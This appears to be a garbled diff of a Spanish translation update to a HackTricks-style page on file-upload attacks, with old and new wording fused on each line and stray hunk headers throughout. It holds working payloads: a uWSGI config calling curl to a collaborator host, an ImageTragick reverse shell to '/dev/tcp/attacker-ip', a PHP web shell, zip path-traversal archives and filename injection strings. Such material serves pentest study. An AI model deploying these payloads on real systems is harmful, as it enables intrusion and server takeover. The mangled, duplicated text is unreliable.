Para una exploración detallada de esta vulnerabilidad, consulta la investigación original: [Explotación de RCE en uWSGI](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Las vulnerabilidades de Ejecución Remota de Comandos (RCE) pueden ser explotadas en servidores uWSGI si uno tiene la capacidad de modificar el archivo de configuración `.ini`. Los archivos de configuración de uWSGI aprovechan una sintaxis específica para incorporar variables "mágicas", marcadores de posición y operadores. Notablemente, el operador '@', utilizado como `@(filename)`, está diseñado para incluir el contenido de un archivo. Entre los diversos esquemas soportados en uWSGI, el esquema "exec" es particularmente potente, permitiendo la lectura de datos de la salida estándar de un proceso. Esta característica puede ser manipulada para fines nefastos como Ejecución Remota de Comandos o Escritura/lectura de Archivos Arbitrarios cuando se procesa un archivo de configuración `.ini`. Las vulnerabilidades de Remote Command Execution (RCE) pueden explotarse en servidores uWSGI si se tiene la capacidad de modificar el archivo de configuración `.ini`. Los archivos de configuración de uWSGI utilizan una sintaxis específica para incorporar variables "mágicas", placeholders y operadores. Notablemente, el operador '@', utilizado como `@(filename)`, está diseñado para incluir el contenido de un archivo. Entre los diversos esquemas soportados en uWSGI, el esquema "exec" es particularmente potente, permitiendo leer datos desde la salida estándar de un proceso. Esta característica puede manipularse con fines maliciosos como Remote Command Execution o Arbitrary File Write/Read cuando se procesa un archivo de configuración `.ini`.
Considera el siguiente ejemplo de un archivo `uwsgi.ini` dañino, mostrando varios esquemas: Considera el siguiente ejemplo de un archivo `uwsgi.ini` malicioso, mostrando varios schemes:
```ini ```ini
[uwsgi] [uwsgi]
; read from a symbol ; read from a symbol
@ -126,14 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char * ; call a function returning a char *
characters = @(call://uwsgi_func) characters = @(call://uwsgi_func)
``` ```
La ejecución de la carga útil ocurre durante el análisis del archivo de configuración. Para que la configuración se active y se analice, el proceso de uWSGI debe reiniciarse (potencialmente después de un fallo o debido a un ataque de Denegación de Servicio) o el archivo debe configurarse para recargarse automáticamente. La función de recarga automática, si está habilitada, recarga el archivo a intervalos especificados al detectar cambios. La ejecución del payload ocurre durante el análisis del archivo de configuración. Para que la configuración se active y sea analizada, el proceso uWSGI debe reiniciarse (potencialmente después de un crash o debido a un ataque Denial of Service) o el archivo debe estar configurado para auto-reload. La característica auto-reload, si está habilitada, recarga el archivo a intervalos especificados al detectar cambios.
Es crucial entender la naturaleza laxa del análisis del archivo de configuración de uWSGI. Específicamente, la carga útil discutida puede insertarse en un archivo binario (como una imagen o PDF), ampliando aún más el alcance de la explotación potencial. Es crucial entender la laxitud del análisis de los archivos de configuración de uWSGI. Específicamente, el payload mencionado puede insertarse en un archivo binario (como una imagen o PDF), ampliando así el alcance de la posible explotación.
## **wget File Upload/SSRF Trick** ## **wget File Upload/SSRF Trick**
En algunas ocasiones, puede encontrar que un servidor está utilizando **`wget`** para **descargar archivos** y puede **indicar** la **URL**. En estos casos, el código puede estar verificando que la extensión de los archivos descargados esté dentro de una lista blanca para asegurar que solo se descarguen archivos permitidos. Sin embargo, **esta verificación puede ser eludida.**\ En algunas ocasiones puede ocurrir que un servidor esté usando **`wget`** para **descargar archivos** y puedas **indicar** la **URL**. En esos casos, el código puede comprobar que la extensión de los archivos descargados esté dentro de una whitelist para asegurar que solo se van a descargar archivos permitidos. Sin embargo, **esta check puede ser bypassed.**\
La **longitud máxima** de un **nombre de archivo** en **linux** es **255**, sin embargo, **wget** trunca los nombres de archivo a **236** caracteres. Puede **descargar un archivo llamado "A"\*232+".php"+".gif"**, este nombre de archivo **eludirá** la **verificación** (ya que en este ejemplo **".gif"** es una **extensión válida**) pero `wget` **renombrará** el archivo a **"A"\*232+".php"**. La **longitud máxima** de un **filename** en **linux** es **255**, sin embargo, **wget** trunca los nombres de archivo a **236** caracteres. Puedes **download a file called "A"\*232+".php"+".gif"**, este filename va a **bypass** la **comprobación** (como en este ejemplo **".gif"** es una extensión **válida**) pero `wget` va a **rename** el archivo a **"A"\*232+".php"**.
```bash ```bash
#Create file and HTTP server #Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -156,63 +156,68 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10] 2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
``` ```
Tenga en cuenta que **otra opción** que puede estar pensando para eludir esta verificación es hacer que el **servidor HTTP redirija a un archivo diferente**, de modo que la URL inicial eluda la verificación y luego wget descargue el archivo redirigido con el nuevo nombre. Esto **no funcionará** **a menos que** wget se esté utilizando con el **parámetro** `--trust-server-names` porque **wget descargará la página redirigida con el nombre del archivo indicado en la URL original**. Ten en cuenta que **otra opción** que podrías estar pensando para evitar este chequeo es hacer que el **HTTP server redirija a un fichero diferente**, de modo que la URL inicial pasará el chequeo pero luego wget descargará el fichero redirigido con el nuevo nombre. Esto **no funcionará** **a menos que** wget se esté usando con el **parámetro** `--trust-server-names` porque **wget descargará la página redirigida con el nombre del fichero indicado en la URL original**.
## Herramientas ## Tools
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) es una herramienta poderosa diseñada para ayudar a los Pentesters y Cazadores de Bugs a probar mecanismos de carga de archivos. Aprovecha varias técnicas de recompensas por errores para simplificar el proceso de identificación y explotación de vulnerabilidades, asegurando evaluaciones exhaustivas de aplicaciones web. - [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) es una herramienta poderosa diseñada para asistir a Pentesters y Bug Hunters en la prueba de mecanismos de file upload. Aprovecha varias técnicas de bug bounty para simplificar el proceso de identificación y explotación de vulnerabilidades, asegurando evaluaciones exhaustivas de aplicaciones web.
## De la carga de archivos a otras vulnerabilidades ### Corrupting upload indices with snprintf quirks (historical)
- Establezca **filename** en `../../../tmp/lol.png` y trate de lograr un **path traversal** Algunos handlers de upload legados que usan `snprintf()` o similares para construir arrays de multi-file a partir de una single-file upload pueden ser engañados para forjar la estructura `_FILES`. Debido a inconsistencias y truncamiento en el comportamiento de `snprintf()`, una single upload cuidadosamente construida puede parecer múltiples ficheros indexados en el lado del servidor, confundiendo la lógica que asume una forma estricta (p. ej., tratándola como una multi-file upload y tomando ramas inseguras). Aunque hoy en día es algo niche, este patrón de “index corruption” reaparece ocasionalmente en CTFs y bases de código antiguas.
- Establezca **filename** en `sleep(10)-- -.jpg` y puede que logre una **inyección SQL**
- Establezca **filename** en `<svg onload=alert(document.domain)>` para lograr un XSS
- Establezca **filename** en `; sleep 10;` para probar alguna inyección de comandos (más [trucos de inyección de comandos aquí](../command-injection.md))
- [**XSS** en la carga de archivos de imagen (svg)](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **Carga** de archivos **JS** + **XSS** = [explotación de **Service Workers**](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE en la carga de svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Redirección abierta** a través de la carga de archivos svg](../open-redirect.md#open-redirect-uploading-svg-files)
- Pruebe **diferentes cargas útiles svg** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- [Famosa vulnerabilidad **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- Si puede **indicar al servidor web que capture una imagen de una URL**, podría intentar abusar de un [SSRF](../ssrf-server-side-request-forgery/index.html). Si esta **imagen** va a ser **guardada** en algún sitio **público**, también podría indicar una URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) y **robar información de cada visitante**.
- [**XXE y CORS** eludir con carga de PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
- PDFs especialmente diseñados para XSS: La [siguiente página presenta cómo **inyectar datos PDF para obtener ejecución de JS**](../xss-cross-site-scripting/pdf-injection.md). Si puede cargar PDFs, podría preparar un PDF que ejecute JS arbitrario siguiendo las indicaciones dadas.
- Cargue el contenido \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) para verificar si el servidor tiene algún **antivirus**
- Verifique si hay algún **límite de tamaño** al cargar archivos
Aquí hay una lista de las 10 principales cosas que puede lograr al cargar (de [aquí](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): ## From File upload to other vulnerabilities
- Establece **filename** en `../../../tmp/lol.png` e intenta lograr un **path traversal**
- Establece **filename** en `sleep(10)-- -.jpg` y puede que consigas una **SQL injection**
- Establece **filename** en `<svg onload=alert(document.domain)>` para lograr un **XSS**
- Establece **filename** en `; sleep 10;` para probar alguna command injection (más [command injections tricks here](../command-injection.md))
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
- Prueba **different svg payloads** desde [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- Si puedes **indicar al web server que obtenga una imagen desde una URL** podrías intentar abusar de un [SSRF](../ssrf-server-side-request-forgery/index.html). Si esa **imagen** va a ser **guardada** en algún sitio **público**, también podrías indicar una URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) y **robar información de cada visitante**.
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
- PDFs especialmente creados para XSS: La [siguiente página muestra cómo **inyectar datos en un PDF para obtener ejecución de JS**](../xss-cross-site-scripting/pdf-injection.md). Si puedes subir PDFs podrías preparar algún PDF que ejecute JS arbitrario siguiendo las indicaciones dadas.
- Sube el contenido de \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) para comprobar si el servidor tiene algún **antivirus**
- Comprueba si existe algún **size limit** al subir archivos
Aquí tienes una lista top 10 de cosas que puedes lograr subiendo ficheros (desde [aquí](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: XSS almacenado / SSRF / XXE 2. **SVG**: Stored XSS / SSRF / XXE
3. **GIF**: XSS almacenado / SSRF 3. **GIF**: Stored XSS / SSRF
4. **CSV**: inyección CSV 4. **CSV**: CSV injection
5. **XML**: XXE 5. **XML**: XXE
6. **AVI**: LFI / SSRF 6. **AVI**: LFI / SSRF
7. **HTML / JS** : inyección HTML / XSS / redirección abierta 7. **HTML / JS** : HTML injection / XSS / Open redirect
8. **PNG / JPEG**: ataque de inundación de píxeles (DoS) 8. **PNG / JPEG**: Pixel flood attack (DoS)
9. **ZIP**: RCE a través de LFI / DoS 9. **ZIP**: RCE via LFI / DoS
10. **PDF / PPTX**: SSRF / XXE CIEGO 10. **PDF / PPTX**: SSRF / BLIND XXE
#### Burp Extension
#### Extensión de Burp
{{#ref}} {{#ref}}
https://github.com/portswigger/upload-scanner https://github.com/portswigger/upload-scanner
{{#endref}} {{#endref}}
## Bytes de encabezado mágicos ## Magic Header Bytes
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["` - **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
- **JPG**: `"\xff\xd8\xff"` - **JPG**: `"\xff\xd8\xff"`
Consulte [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) para otros tipos de archivos. Consulta [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) para otros tipos de fichero.
## Carga de archivos Zip/Tar descomprimidos automáticamente ## Zip/Tar File Automatically decompressed Upload
Si puede cargar un ZIP que se va a descomprimir dentro del servidor, puede hacer 2 cosas: Si puedes subir un ZIP que vaya a ser descomprimido dentro del servidor, puedes hacer 2 cosas:
### Symlink ### Symlink
Cargue un enlace que contenga enlaces suaves a otros archivos, luego, al acceder a los archivos descomprimidos, accederá a los archivos vinculados: Sube un link que contenga soft links a otros ficheros, entonces, accediendo a los ficheros descomprimidos accederás a los ficheros enlazados:
``` ```
ln -s ../../../index.php symindex.txt ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt zip --symlinks test.zip symindex.txt
@ -220,16 +225,16 @@ tar -cvf test.tar symindex.txt
``` ```
### Descomprimir en diferentes carpetas ### Descomprimir en diferentes carpetas
La creación inesperada de archivos en directorios durante la descompresión es un problema significativo. A pesar de las suposiciones iniciales de que esta configuración podría proteger contra la ejecución de comandos a nivel de sistema operativo a través de cargas de archivos maliciosos, el soporte de compresión jerárquica y las capacidades de recorrido de directorios del formato de archivo ZIP pueden ser explotados. Esto permite a los atacantes eludir restricciones y escapar de directorios de carga seguros manipulando la funcionalidad de descompresión de la aplicación objetivo. La creación inesperada de archivos en directorios durante la descompresión es un problema significativo. A pesar de las suposiciones iniciales de que esta configuración podría proteger contra la ejecución de comandos OS-level mediante subidas de archivos maliciosos, el soporte de compresión jerárquica y las capacidades de directory traversal del formato de archivo ZIP pueden ser explotadas. Esto permite a los atacantes eludir las restricciones y escapar de los secure upload directories manipulando la funcionalidad de descompresión de la aplicación objetivo.
Un exploit automatizado para crear tales archivos está disponible en [**evilarc en GitHub**](https://github.com/ptoomey3/evilarc). La utilidad se puede usar como se muestra: Un exploit automatizado para crear tales archivos está disponible en [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). La utilidad se puede usar como se muestra:
```python ```python
# Listing available options # Listing available options
python2 evilarc.py -h python2 evilarc.py -h
# Creating a malicious archive # Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
``` ```
Además, el **truco de symlink con evilarc** es una opción. Si el objetivo es apuntar a un archivo como `/flag.txt`, se debe crear un symlink a ese archivo en su sistema. Esto asegura que evilarc no encuentre errores durante su operación. Además, la **symlink trick with evilarc** es una opción. Si el objetivo es apuntar a un archivo como `/flag.txt`, se debe crear un symlink a ese archivo en tu sistema. Esto garantiza que evilarc no encuentre errores durante su funcionamiento.
A continuación se muestra un ejemplo de código Python utilizado para crear un archivo zip malicioso: A continuación se muestra un ejemplo de código Python utilizado para crear un archivo zip malicioso:
```python ```python
@ -249,11 +254,11 @@ zip.close()
create_zip() create_zip()
``` ```
**Abusando de la compresión para el file spraying** **Abusar de la compresión para file spraying**
Para más detalles **consulta la publicación original en**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) Para más detalles **consulta la entrada original en**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **Creando un Shell PHP**: Se escribe código PHP para ejecutar comandos pasados a través de la variable `$_REQUEST`. 1. **Creating a PHP Shell**: Se escribe código PHP para ejecutar comandos enviados a través de la variable `$_REQUEST`.
```php ```php
<?php <?php
@ -263,14 +268,14 @@ system($cmd);
}?> }?>
``` ```
2. **File Spraying y Creación de Archivos Comprimidos**: Se crean múltiples archivos y se ensambla un archivo zip que contiene estos archivos. 2. **File Spraying and Compressed File Creation**: Se crean múltiples archivos y se genera un archivo zip que los contiene.
```bash ```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php root@s2crew:/tmp# zip cmd.zip xx*.php
``` ```
3. **Modificación con un Editor Hexadecimal o vi**: Los nombres de los archivos dentro del zip se alteran usando vi o un editor hexadecimal, cambiando "xxA" a "../" para atravesar directorios. 3. **Modification with a Hex Editor or vi**: Los nombres de los archivos dentro del zip se modifican usando vi o un editor hexadecimal, cambiando "xxA" a "../" para atravesar directorios.
```bash ```bash
:set modifiable :set modifiable
@ -280,40 +285,40 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
## ImageTragic ## ImageTragic
Sube este contenido con una extensión de imagen para explotar la vulnerabilidad **(ImageMagick , 7.0.1-1)** (forma del [exploit](https://www.exploit-db.com/exploits/39767)) Sube este contenido con una extensión de imagen para explotar la vulnerabilidad **(ImageMagick , 7.0.1-1)** (form the [exploit](https://www.exploit-db.com/exploits/39767))
``` ```
push graphic-context push graphic-context
viewbox 0 0 640 480 viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)' fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context pop graphic-context
``` ```
## Incrustar Shell PHP en PNG ## Embedding PHP Shell on PNG
Incrustar un shell PHP en el chunk IDAT de un archivo PNG puede eludir efectivamente ciertas operaciones de procesamiento de imágenes. Las funciones `imagecopyresized` e `imagecopyresampled` de PHP-GD son particularmente relevantes en este contexto, ya que se utilizan comúnmente para redimensionar y re-muestrear imágenes, respectivamente. La capacidad del shell PHP incrustado para permanecer inalterado por estas operaciones es una ventaja significativa para ciertos casos de uso. Embedding a PHP shell in the IDAT chunk of a PNG file can effectively bypass certain image processing operations. The functions `imagecopyresized` and `imagecopyresampled` from PHP-GD are particularly relevant in this context, as they are commonly used for resizing and resampling images, respectively. The ability of the embedded PHP shell to remain unaffected by these operations is a significant advantage for certain use cases.
Una exploración detallada de esta técnica, incluyendo su metodología y aplicaciones potenciales, se proporciona en el siguiente artículo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Este recurso ofrece una comprensión completa del proceso y sus implicaciones. A detailed exploration of this technique, including its methodology and potential applications, is provided in the following article: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). This resource offers a comprehensive understanding of the process and its implications.
Más información en: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## Archivos Políglota ## Polyglot Files
Los archivos políglota sirven como una herramienta única en ciberseguridad, actuando como camaleones que pueden existir válidamente en múltiples formatos de archivo simultáneamente. Un ejemplo intrigante es un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un híbrido que funciona tanto como un GIF como un archivo RAR. Tales archivos no se limitan a esta combinación; combinaciones como GIF y JS o PPT y JS también son factibles. Polyglot files serve as a unique tool in cybersecurity, acting as chameleons that can validly exist in multiple file formats simultaneously. An intriguing example is a [GIFAR](https://en.wikipedia.org/wiki/Gifar), a hybrid that functions both as a GIF and a RAR archive. Such files aren't limited to this pairing; combinations like GIF and JS or PPT and JS are also feasible.
La utilidad principal de los archivos políglota radica en su capacidad para eludir medidas de seguridad que filtran archivos según su tipo. La práctica común en varias aplicaciones implica permitir solo ciertos tipos de archivos para subir—como JPEG, GIF o DOC—para mitigar el riesgo que presentan formatos potencialmente dañinos (por ejemplo, archivos JS, PHP o Phar). Sin embargo, un políglota, al conformarse a los criterios estructurales de múltiples tipos de archivos, puede eludir sigilosamente estas restricciones. The core utility of polyglot files lies in their capacity to circumvent security measures that screen files based on type. Common practice in various applications entails permitting only certain file types for upload—like JPEG, GIF, or DOC—to mitigate the risk posed by potentially harmful formats (e.g., JS, PHP, or Phar files). However, a polyglot, by conforming to the structural criteria of multiple file types, can stealthily bypass these restrictions.
A pesar de su adaptabilidad, los políglota enfrentan limitaciones. Por ejemplo, mientras un políglota podría encarnar simultáneamente un archivo PHAR (PHp ARchive) y un JPEG, el éxito de su carga podría depender de las políticas de extensión de archivos de la plataforma. Si el sistema es estricto respecto a las extensiones permitidas, la mera dualidad estructural de un políglota puede no ser suficiente para garantizar su carga. Despite their adaptability, polyglots do encounter limitations. For instance, while a polyglot might simultaneously embody a PHAR file (PHp ARchive) and a JPEG, the success of its upload might hinge on the platform's file extension policies. If the system is stringent about allowable extensions, the mere structural duality of a polyglot may not suffice to guarantee its upload.
Más información en: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
### Subir JSONs válidos como si fueran PDF ### Subir JSONs válidos como si fueran PDF
Cómo evitar detecciones de tipo de archivo subiendo un archivo JSON válido incluso si no está permitido, simulando un archivo PDF (técnicas de **[este blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): How to avoid file type detections by uploading a valid JSON file even if not allowed by faking a PDF file (techniques from **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
- **`mmmagic` library**: Mientras los bytes mágicos `%PDF` estén en los primeros 1024 bytes, es válido (obtener ejemplo del post) - **`mmmagic` librería**: Siempre que los bytes mágicos `%PDF` estén en los primeros 1024 bytes es válido (ver ejemplo en el post)
- **`pdflib` library**: Agregar un formato PDF falso dentro de un campo del JSON para que la biblioteca piense que es un pdf (obtener ejemplo del post) - **`pdflib` librería**: Añade un formato PDF falso dentro de un campo del JSON para que la librería piense que es un PDF (ver ejemplo en el post)
- **`file` binary**: Puede leer hasta 1048576 bytes de un archivo. Solo crea un JSON más grande que eso para que no pueda analizar el contenido como un json y luego dentro del JSON pon la parte inicial de un PDF real y pensará que es un PDF - **`file` binario**: Puede leer hasta 1048576 bytes de un archivo. Simplemente crea un JSON más grande que eso para que no pueda parsear el contenido como JSON y luego, dentro del JSON, pon la parte inicial de un PDF real y pensará que es un PDF
## Referencias ## References
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner) - [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
@ -322,5 +327,6 @@ Cómo evitar detecciones de tipo de archivo subiendo un archivo JSON válido inc
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) - [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) - [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html) - [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}